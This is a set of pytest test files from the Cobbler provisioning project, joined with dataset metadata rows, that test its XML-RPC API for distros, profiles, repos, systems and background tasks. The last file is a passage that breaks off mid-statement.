""" Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to generic items. """ import pytest from cobbler.remote import CobblerXMLRPCInterface @pytest.mark.usefixtures("create_testdistro", "remove_testdistro") def test_get_item_resolved( remote: CobblerXMLRPCInterface, fk_initrd: str, fk_kernel: str ): """ Test: get an item object (in this case distro) which is resolved """ # Arrange --> Done in fixture # Act distro = remote.get_item("distro", "testdistro0", resolved=True) # Assert assert distro.get("name") == "testdistro0" # type: ignore assert distro.get("redhat_management_key") == "" # type: ignore assert fk_initrd in distro.get("initrd") # type: ignore assert fk_kernel in distro.get("kernel") # type: ignore def test_remove_item(remote: CobblerXMLRPCInterface, token: str): """ Test: remove item object (in this case menu). """ # Arrange test_menu = remote.new_menu(token) # type: ignore remote.modify_menu(test_menu, "name", "testmenu0", token) remote.modify_menu(test_menu, "display_name", "testmenu0", token) # Act result = remote.remove_menu("testmenu0", token, True) # type: ignore # Assert assert result assert not test_menu in remote.unsaved_items def test_create_unsaved_item(remote: CobblerXMLRPCInterface, token: str): """ Test: create unsaved item (in this case menu) """ test_menu = remote.new_menu(token) remote.modify_menu(test_menu, "name", "testmenu0", token) remote.modify_menu(test_menu, "display_name", "testmenu", token) assert test_menu in remote.unsaved_items
1,692
Python
.py
42
36.047619
110
0.704518
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,049
background_test.py
cobbler_cobbler/tests/xmlrpcapi/background_test.py
""" Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to background tasks. """ import pytest from cobbler.remote import CobblerXMLRPCInterface class TestBackground: """ Class to test various background jobs """ def test_background_acletup(self, remote: CobblerXMLRPCInterface, token: str): # Arrange # Act result = remote.background_aclsetup({}, token) # Assert assert result def test_background_buildiso(self, remote: CobblerXMLRPCInterface, token: str): # Arrange # Act result = remote.background_buildiso({}, token) # Assert assert result def test_background_hardlink(self, remote: CobblerXMLRPCInterface, token: str): # Arrange # Act result = remote.background_hardlink({}, token) # Assert assert result def test_background_import(self, remote: CobblerXMLRPCInterface, token: str): # Arrange # Act result = remote.background_import({}, token) # Assert assert result def test_background_replicate(self, remote: CobblerXMLRPCInterface, token: str): # Arrange # Act result = remote.background_replicate({}, token) # Assert assert result def test_background_reposync(self, remote: CobblerXMLRPCInterface, token: str): # Arrange # Act result = remote.background_reposync({}, token) # Assert assert result def test_background_validate_autoinstall_files( self, remote: CobblerXMLRPCInterface, token: str ): # Arrange # Act result = remote.background_validate_autoinstall_files({}, token) # Assert assert result def test_background_load_items(self, remote: CobblerXMLRPCInterface): # Arrange # Act with pytest.raises(ValueError): result = remote.background_load_items() # Assert assert result
2,071
Python
.py
61
26
110
0.64783
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,050
xapi_test.py
cobbler_cobbler/tests/xmlrpcapi/xapi_test.py
""" All tests that are related to ensuring the xapi_object_edit functionality. """ import os from typing import Callable import pytest from cobbler.remote import CobblerXMLRPCInterface def test_xapi_object_edit( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], ): """ Test that asserts that objects can be successfully edited. """ # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name = "testdistro_xapi_edit" # Act result = remote.xapi_object_edit( "distro", name, "add", { "name": name, "arch": "x86_64", "breed": "suse", "kernel": path_kernel, "initrd": path_initrd, }, token, ) # Assert assert result def test_xapi_system_edit( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], ): """ Test that asserts if system objects can be correctly edited. """ # Arrange name_distro = "testsystem_xapi_edit" name_profile = "testsystem_xapi_edit" name_system = "testsystem_xapi_edit" fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "a=1 b=2 c=3 c=4 c=5 d e") # Act result = remote.xapi_object_edit( "system", name_system, "add", { "name": name_system, "profile": name_profile, }, token, ) # Assert assert result # There won't be any interface until the user adds implicitly or explicitly the first interface assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 0 # type: ignore def test_xapi_system_edit_interface_name( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], ): """ TODO """ # Arrange name_distro = "testsystem_xapi_edit" name_profile = "testsystem_xapi_edit" name_system = "testsystem_xapi_edit" fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "a=1 b=2 c=3 c=4 c=5 d e") # Act result = remote.xapi_object_edit( "system", name_system, "add", { "name": name_system, "profile": name_profile, "interface": "eth1", }, token, ) # Assert assert result assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 1 # type: ignore assert "eth1" in remote.get_system("testsystem_xapi_edit").get("interfaces", {}) # type: ignore def test_xapi_system_edit_two_interfaces_no_default( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], ): """ Test that asserts that more then one interface can be added successfully. """ # Arrange name_distro = "testsystem_xapi_edit" name_profile = "testsystem_xapi_edit" name_system = "testsystem_xapi_edit" fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "a=1 b=2 c=3 c=4 c=5 d e") # Act result_add = remote.xapi_object_edit( "system", name_system, "add", { "name": name_system, "profile": name_profile, "interface": "eth1", }, token, ) result_edit = remote.xapi_object_edit( "system", name_system, "edit", { "name": name_system, "interface": "eth2", }, token, ) # Assert assert result_add assert result_edit assert len(remote.get_system("testsystem_xapi_edit").get("interfaces", {})) == 2 # type: ignore assert "eth1" in remote.get_system("testsystem_xapi_edit").get("interfaces", {}) # type: ignore assert "eth2" in remote.get_system("testsystem_xapi_edit").get("interfaces", {}) # type: ignore def test_xapi_system_edit_two_interfaces_default( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], ): """ Test that asserts that on a system with a single interface that has not the name "default", the correct network interface key is edited. """ # Arrange name_distro = "testsystem_xapi_edit" name_profile = "testsystem_xapi_edit" name_system = "testsystem_xapi_edit" fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "a=1 b=2 c=3 c=4 c=5 d e") remote.xapi_object_edit( "system", name_system, "add", { "name": name_system, "profile": name_profile, }, token, ) remote.xapi_object_edit( "system", name_system, "edit", { "name": name_system, "interface": "eth2", }, token, ) # Act result = remote.xapi_object_edit( "system", name_system, "edit", { "name": name_system, "mac_address": "aa:bb:cc:dd:ee:ff", }, token, ) # Assert assert result assert ( remote.get_system(name_system) # type: ignore .get("interfaces", {}) # type: ignore .get("eth2", {}) .get("mac_address") == "aa:bb:cc:dd:ee:ff" ) def test_xapi_system_edit_two_interfaces_no_default_negative( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], ): """ Test that asserts that on a system with two interfaces, you must pass the interface name if you edit an interface specifc field. """ # Arrange name_distro = "testsystem_xapi_edit" name_profile = "testsystem_xapi_edit" name_system = "testsystem_xapi_edit" fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "a=1 b=2 c=3 c=4 c=5 d e") remote.xapi_object_edit( "system", name_system, "add", { "name": name_system, "profile": name_profile, "interface": "eth1", }, token, ) remote.xapi_object_edit( "system", name_system, "edit", { "name": name_system, "interface": "eth2", }, token, ) # Act & Assert with pytest.raises(ValueError): remote.xapi_object_edit( "system", name_system, "edit", { "name": name_system, "mac_address": "aa:bb:cc:dd:ee:ff", }, token, )
8,708
Python
.py
277
24.638989
117
0.60119
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,051
repo_test.py
cobbler_cobbler/tests/xmlrpcapi/repo_test.py
""" Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to repositories. """ import pytest from cobbler.remote import CobblerXMLRPCInterface @pytest.fixture def create_repo(remote: CobblerXMLRPCInterface, token: str): """ Creates a Repository "testrepo0" with a mirror "http://www.sample.com/path/to/some/repo" and the attribute "mirror_locally=0". :param remote: The xmlrpc object to connect to. :param token: The token to authenticate against the remote object. """ repo = remote.new_repo(token) remote.modify_repo(repo, "name", "testrepo0", token) remote.modify_repo(repo, "mirror", "http://www.sample.com/path/to/some/repo", token) remote.modify_repo(repo, "mirror_locally", False, token) remote.save_repo(repo, token) @pytest.fixture def remove_repo(remote: CobblerXMLRPCInterface, token: str): """ Removes the Repository "testrepo0" which can be created with create_repo. :param remote: The xmlrpc object to connect to. :param token: The token to authenticate against the remote object. """ yield remote.remove_repo("testrepo0", token) class TestRepo: """ TODO """ @pytest.mark.usefixtures("remove_repo") def test_create_repo(self, remote: CobblerXMLRPCInterface, token: str): """ Test: create/edit a repo object """ # Arrange --> Nothing to arrange # Act & Assert repo = remote.new_repo(token) assert remote.modify_repo(repo, "name", "testrepo0", token) assert remote.modify_repo( repo, "mirror", "http://www.sample.com/path/to/some/repo", token ) assert remote.modify_repo(repo, "mirror_locally", False, token) assert remote.save_repo(repo, token) def test_get_repos(self, remote: CobblerXMLRPCInterface): """ Test: Get repos """ # Arrange --> Nothing to do # Act result = remote.get_repos() # Assert assert result == [] @pytest.mark.usefixtures("create_repo", "remove_repo") def test_get_repo(self, remote: CobblerXMLRPCInterface, token: str): """ Test: Get a repo object """ # Arrange --> Done in fixture # Act repo = remote.get_repo("testrepo0") # Assert assert repo.get("name") == "testrepo0" # type: ignore @pytest.mark.usefixtures("create_repo", "remove_repo") def test_find_repo(self, remote: CobblerXMLRPCInterface, token: str): """ Test: find a repo object """ # Arrange --> Done in fixture # Act result = remote.find_repo({"name": "testrepo0"}, False, False, token) # Assert assert result @pytest.mark.usefixtures("create_repo", "remove_repo") def test_copy_repo(self, remote: CobblerXMLRPCInterface, token: str): """ Test: copy a repo object """ # Arrange --> Done in fixture # Act repo = remote.get_item_handle("repo", "testrepo0") # Assert assert remote.copy_repo(repo, "testrepocopy", token) # Cleanup remote.remove_repo("testrepocopy", token) @pytest.mark.usefixtures("create_repo") def test_rename_repo(self, remote: CobblerXMLRPCInterface, token: str): """ Test: rename a repo object """ # Arrange # Act repo = remote.get_item_handle("repo", "testrepo0") result = remote.rename_repo(repo, "testrepo1", token) # Assert assert result # Cleanup remote.remove_repo("testrepo1", token) @pytest.mark.usefixtures("create_repo") def test_remove_repo(self, remote: CobblerXMLRPCInterface, token: str): """ Test: remove a repo object """ # Arrange --> Done in fixture # Act result = remote.remove_repo("testrepo0", token) # Assert assert result
4,016
Python
.py
110
29.154545
110
0.631756
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,052
profile_test.py
cobbler_cobbler/tests/xmlrpcapi/profile_test.py
import os from typing import Callable, Union import pytest from cobbler.cexceptions import CX from cobbler.remote import CobblerXMLRPCInterface def test_get_profiles(remote: CobblerXMLRPCInterface, token: str): """ Test: get profiles """ # Arrange --> Nothing to arrange # Act result = remote.get_profiles(token) # Assert assert result == [] @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "remove_testdistro", "remove_testmenu", "remove_testprofile", ) @pytest.mark.parametrize( "field_name,field_value", [ ("comment", "test comment"), ("dhcp_tag", ""), ("dhcp_tag", "foo"), ("distro", "testdistro0"), ("enable_ipxe", True), ("enable_ipxe", False), ("enable_menu", True), ("enable_menu", False), ("kernel_options", "a=1 b=2 c=3 c=4 c=5 d e"), ("kernel_options_post", "a=1 b=2 c=3 c=4 c=5 d e"), ("autoinstall", "test.ks"), ("autoinstall", "test.xml"), ("autoinstall", "test.seed"), ("autoinstall_meta", "a=1 b=2 c=3 c=4 c=5 d e"), ("name", "testprofile0"), ("name_servers", "1.1.1.1 1.1.1.2 1.1.1.3"), ("name_servers_search", "example.com foo.bar.com"), ("owners", "user1 user2 user3"), ("proxy", "testproxy"), ("server", "1.1.1.1"), ("menu", "testmenu0"), ("virt_auto_boot", True), ("virt_auto_boot", False), ("enable_ipxe", True), ("enable_ipxe", False), ("enable_ipxe", "yes"), ("enable_ipxe", "YES"), ("enable_ipxe", "1"), ("enable_ipxe", "0"), ("enable_ipxe", "no"), ("enable_menu", True), ("enable_menu", False), ("enable_menu", "yes"), ("enable_menu", "YES"), ("enable_menu", "1"), ("enable_menu", "0"), ("enable_menu", "no"), ("virt_auto_boot", "yes"), ("virt_auto_boot", "no"), ("virt_bridge", "<<inherit>>"), ("virt_bridge", "br0"), ("virt_bridge", "virbr0"), ("virt_bridge", "xenbr0"), ("virt_cpus", "<<inherit>>"), ("virt_cpus", 1), ("virt_cpus", 2), ("virt_disk_driver", "<<inherit>>"), ("virt_disk_driver", "raw"), ("virt_disk_driver", "qcow2"), ("virt_disk_driver", "vdmk"), ("virt_file_size", "<<inherit>>"), ("virt_file_size", "5"), ("virt_file_size", "10"), ("virt_path", "<<inherit>>"), ("virt_path", "/path/to/test"), ("virt_ram", "<<inherit>>"), ("virt_ram", 256), ("virt_ram", 1024), ("virt_type", "<<inherit>>"), ("virt_type", "xenpv"), ("virt_type", "xenfv"), ("virt_type", "qemu"), ("virt_type", "kvm"), ("virt_type", "vmware"), ("virt_type", "openvz"), # ("boot_loaders", "pxe ipxe grub") FIXME: This raises currently but it did not in the past ], ) def test_create_profile_positive( remote: CobblerXMLRPCInterface, token: str, template_files: Callable[[], None], field_name: str, field_value: Union[str, int, bool], ): """ Test: create/edit a profile object """ # Arrange profile = remote.new_profile(token) remote.modify_profile(profile, "name", "testprofile0", token) remote.modify_profile(profile, "distro", "testdistro0", token) # Act result = remote.modify_profile(profile, field_name, field_value, token) # Assert assert result @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "remove_testdistro", "remove_testmenu", "remove_testprofile", ) @pytest.mark.parametrize( "field_name,field_value", [ ("distro", "baddistro"), ("autoinstall", "/path/to/bad/autoinstall"), ("menu", "badmenu"), ("virt_cpus", "a"), ("virt_file_size", "a"), ("virt_ram", "a"), ("virt_type", "bad"), ("boot_loaders", "badloader"), ], ) def test_create_profile_negative( remote: CobblerXMLRPCInterface, token: str, field_name: str, field_value: str ): """ Test: create/edit a profile object """ # Arrange profile = remote.new_profile(token) remote.modify_profile(profile, "name", "testprofile0", token) # Act & Assert try: result = remote.modify_profile(profile, field_name, field_value, token) except (CX, TypeError, ValueError, OSError): assert True else: if result: pytest.fail("Bad field did not raise an exception!") assert True @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", "remove_testdistro", "remove_testmenu", "remove_testprofile", ) def test_create_subprofile(remote: CobblerXMLRPCInterface, token: str): """ Test: create/edit a subprofile object """ # Arrange profiles = remote.get_profiles(token) # Act subprofile = remote.new_subprofile(token) # Assert assert remote.modify_profile(subprofile, "name", "testsubprofile0", token) assert remote.modify_profile(subprofile, "parent", "testprofile0", token) assert remote.save_profile(subprofile, token) new_profiles = remote.get_profiles(token) assert len(new_profiles) == len(profiles) + 1 @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", "remove_testdistro", "remove_testmenu", "remove_testprofile", ) def test_get_profile(remote: CobblerXMLRPCInterface): """ Test: get a profile object """ # Arrange --> Done in fixture. # Act profile = remote.get_profile("testprofile0") # Assert assert profile.get("name") == "testprofile0" # type: ignore assert profile.get("distro") == "testdistro0" # type: ignore assert profile.get("menu") == "testmenu0" # type: ignore assert profile.get("kernel_options") == { # type: ignore "a": "1", "b": "2", "c": ["3", "4", "5"], "d": "~", "e": "~", } def test_find_profile( request: "pytest.FixtureRequest", create_kernel_initrd: Callable[[str, str], str], fk_kernel: str, fk_initrd: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], remote: CobblerXMLRPCInterface, token: str, ): """ Test: find a profile object """ # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) distro_name = ( # type: ignore request.node.originalname if request.node.originalname else request.node.name # type: ignore ) profile_name = ( # type: ignore request.node.originalname if request.node.originalname else request.node.name # type: ignore ) folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_initrd) create_distro(distro_name, "x86_64", "suse", kernel_path, initrd_path) # type: ignore create_profile(profile_name, distro_name, "") # type: ignore # Act result = remote.find_profile(criteria={"name": profile_name}, token=token) # Assert assert isinstance(result, list) assert len(result) == 1 assert result[0] == profile_name @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", "remove_testdistro", "remove_testmenu", "remove_testprofile", ) def test_copy_profile(remote: CobblerXMLRPCInterface, token: str): """ Test: copy a profile object """ # Arrange --> Done in fixtures # Act profile = remote.get_item_handle("profile", "testprofile0") result = remote.copy_profile(profile, "testprofilecopy", token) # Assert assert result # Cleanup remote.remove_profile("testprofilecopy", token) @pytest.mark.usefixtures( "create_testdistro", "create_testmenu", "create_testprofile", "remove_testprofile", "remove_testmenu", "remove_testdistro", ) def test_rename_profile(remote: CobblerXMLRPCInterface, token: str): """ Test: rename a profile object """ # Arrange profile = remote.get_item_handle("profile", "testprofile0") # Act result = remote.rename_profile(profile, "testprofile1", token) # Assert assert result # Cleanup remote.remove_profile("testprofile1", token) def test_remove_profile( request: "pytest.FixtureRequest", create_kernel_initrd: Callable[[str, str], str], fk_kernel: str, fk_initrd: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, str], str], remote: CobblerXMLRPCInterface, token: str, ): """ Test: remove a profile object """ # Arrange folder = create_kernel_initrd(fk_kernel, fk_initrd) distro_name = ( # type: ignore request.node.originalname if request.node.originalname else request.node.name # type: ignore ) profile_name = ( # type: ignore request.node.originalname if request.node.originalname else request.node.name # type: ignore ) folder = create_kernel_initrd(fk_kernel, fk_initrd) kernel_path = os.path.join(folder, fk_kernel) initrd_path = os.path.join(folder, fk_initrd) create_distro(distro_name, "x86_64", "suse", kernel_path, initrd_path) # type: ignore create_profile(profile_name, distro_name, "") # type: ignore # Act result_profile_remove = remote.remove_profile(profile_name, token) # type: ignore # Assert assert result_profile_remove def test_get_repo_config_for_profile(remote: CobblerXMLRPCInterface): """ Test: get repository configuration of a profile """ # Arrange --> There is nothing to be arranged # Act result = remote.get_repo_config_for_profile("testprofile0") # type: ignore # Assert --> Let the test pass if the call is okay. assert True
10,036
Python
.py
307
26.830619
101
0.614709
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,053
miscellaneous_test.py
cobbler_cobbler/tests/xmlrpcapi/miscellaneous_test.py
""" Test module to test functions that cannot be grouped into more distinct categories. """ import json import os import pathlib import time from typing import Any, Callable, Dict, List, Union import pytest from cobbler.remote import CobblerXMLRPCInterface from cobbler.utils import get_shared_secret def test_clear_system_logs( remote: CobblerXMLRPCInterface, token: str, create_kernel_initrd: Callable[[str, str], str], create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_system: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" name_distro = "testdistro_clearsystemlog" name_profile = "testprofile_clearsystemlog" name_system = "testsystem_clearsystemlog" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "a=1 b=2 c=3 c=4 c=5 d e") system = create_system(name_system, name_profile) # Act result = remote.clear_system_logs(system, token) # Assert assert result def test_disable_netboot( remote: CobblerXMLRPCInterface, token: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_system: Callable[[str, str], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" name_distro = "test_distro_template_for_system" name_profile = "test_profile_template_for_system" name_system = "test_system_template_for_system" folder = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(folder, fk_kernel) path_initrd = os.path.join(folder, fk_initrd) create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") create_system(name_system, name_profile) # Act result = remote.disable_netboot(name_system, token) # Assert assert result def test_extended_version(remote: CobblerXMLRPCInterface): # Arrange # Act result = remote.extended_version() # Assert Example Dict: {'builddate': 'Mon Feb 10 15:38:48 2020', 'gitdate': '?', 'gitstamp': '?', 'version': # '3.4.0', 'version_tuple': [3, 4, 0]} assert type(result) == dict assert type(result.get("version_tuple")) == list assert [3, 4, 0] == result.get("version_tuple") def test_find_items_paged( remote: CobblerXMLRPCInterface, token: str, create_distro: Callable[[str, str, str, str, str], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" folder = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(folder, fk_kernel) path_initrd = os.path.join(folder, fk_initrd) name_distro_1 = "distro_items_paged_1" name_distro_2 = "distro_items_paged_2" create_distro(name_distro_1, "x86_64", "suse", path_kernel, path_initrd) create_distro(name_distro_2, "x86_64", "suse", path_kernel, path_initrd) # Act result = remote.find_items_paged("distro", None, "name", 1, 1) # Assert # Example output # {'items': [{'ctime': 1589386486.9040322, 'depth': 0, 'mtime': 1589386486.9040322, 'source_repos': [], # 'tree_build_time': 0, 'uid': 'cbf288465c724c439cf2ede6c94de4e8', 'arch': 'x86_64', 'autoinstall_meta': {}, # 'boot_loaders': '<<inherit>>', 'breed': 'suse', 'comment': '', # 'initrd': '/var/log/cobbler/cobbler.log', 'kernel': '/var/log/cobbler/cobbler.log', 'remote_boot_initrd': '~', # 'remote_boot_kernel': '~', 'kernel_options': {}, 'kernel_options_post': {}, # 'name': 'distro_items_paged_1', 'os_version': 'virtio26', 'owners': ['admin'], 'redhat_management_key': '', # 'template_files': {}}], 'pageinfo': {'page': 1, 'prev_page': '~', 'next_page': 2, 'pages': [1, 2], # 'num_pages': 2, 'num_items': 2, 'start_item': 0, 'end_item': 1, 'items_per_page': 1, # 'items_per_page_list': [10, 20, 50, 100, 200, 500]}} assert type(result) == dict assert type(result.get("items")) == list # type: ignore assert "pageinfo" in result # type: ignore assert "pages" in result["pageinfo"] # type: ignore assert result["pageinfo"]["pages"] == [1, 2] # type: ignore @pytest.mark.skip( "This functionality was implemented very quickly. The test for this needs to be fixed at a " "later point!" ) def test_find_system_by_dns_name( remote: CobblerXMLRPCInterface, token: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_system: Callable[[str, str], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro = "test_distro_template_for_system" name_profile = "test_profile_template_for_system" name_system = "test_system_template_for_system" dns_name = "test.cobbler-test.local" create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") system = create_system(name_system, name_profile) remote.modify_system(system, "dns_name", dns_name, token) remote.save_system(system, token) # Act result = remote.find_system_by_dns_name(dns_name) # Assert assert result def test_generate_script( remote: CobblerXMLRPCInterface, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro = "test_distro_template_for_system" name_profile = "test_profile_template_for_system" name_autoinstall_script = "test_generate_script" create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") # TODO: Create Autoinstall Script # Act result = remote.generate_script(name_profile, None, name_autoinstall_script) # Assert assert result def test_get_item_as_rendered( remote: CobblerXMLRPCInterface, token: str, create_distro: Callable[[str, str, str, str, str], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name = "test_item_as_rendered" create_distro(name, "x86_64", "suse", path_kernel, path_initrd) # Act result = remote.get_distro_as_rendered(name, token) # Assert assert result def test_get_s_since( remote: CobblerXMLRPCInterface, create_distro: Callable[[str, str, str, str, str], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro_before = "test_distro_since_before" name_distro_after = "test_distro_since_after" create_distro(name_distro_before, "x86_64", "suse", path_kernel, path_initrd) mtime = float(time.time()) create_distro(name_distro_after, "x86_64", "suse", path_kernel, path_initrd) # Act result = remote.get_distros_since(mtime) # Assert assert isinstance(result, list) assert len(result) == 1 def test_get_authn_module_name(remote: CobblerXMLRPCInterface, token: str): # Arrange # Act result = remote.get_authn_module_name(token) # Assert assert result def test_get_blended_data( remote: CobblerXMLRPCInterface, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_system: Callable[[str, str], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro = "test_distro_blended" name_profile = "test_profile_blended" name_system = "test_system_blended" create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") create_system(name_system, name_profile) # Act result = remote.get_blended_data(name_profile, name_system) # Assert assert result def test_get_config_data( remote: CobblerXMLRPCInterface, token: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_system: Callable[[str, str], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro = "test_distro_template_for_system" name_profile = "test_profile_template_for_system" name_system = "test_system_template_for_system" system_hostname = "testhostname" create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") system = create_system(name_system, name_profile) remote.modify_system(system, "hostname", system_hostname, token) remote.save_system(system, token) # Act result = remote.get_config_data(system_hostname) # Assert assert json.loads(result) def test_get_repos_compatible_with_profile( remote: CobblerXMLRPCInterface, token: str, create_distro: Callable[[str, str, str, str, str], str], create_profile: Callable[[str, str, Union[Dict[str, Any], str]], str], create_repo: Callable[[str, str, bool], str], create_kernel_initrd: Callable[[str, str], str], ): # Arrange fk_kernel = "vmlinuz1" fk_initrd = "initrd1.img" basepath = create_kernel_initrd(fk_kernel, fk_initrd) path_kernel = os.path.join(basepath, fk_kernel) path_initrd = os.path.join(basepath, fk_initrd) name_distro = "test_distro_get_repo_for_profile" name_profile = "test_profile_get_repo_for_profile" name_repo_compatible = "test_repo_compatible_profile_1" name_repo_incompatible = "test_repo_compatible_profile_2" create_distro(name_distro, "x86_64", "suse", path_kernel, path_initrd) create_profile(name_profile, name_distro, "text") repo_compatible = create_repo(name_repo_compatible, "http://localhost", False) repo_incompatible = create_repo(name_repo_incompatible, "http://localhost", False) remote.modify_repo(repo_compatible, "arch", "x86_64", token) remote.save_repo(repo_compatible, token) remote.modify_repo(repo_incompatible, "arch", "ppc64le", token) remote.save_repo(repo_incompatible, token) # Act result = remote.get_repos_compatible_with_profile(name_profile, token) # Assert assert result != [] def test_get_status(remote: CobblerXMLRPCInterface, token: str): # Arrange logfile = pathlib.Path("/var/log/cobbler/install.log") if logfile.exists(): logfile.unlink() # Act result = 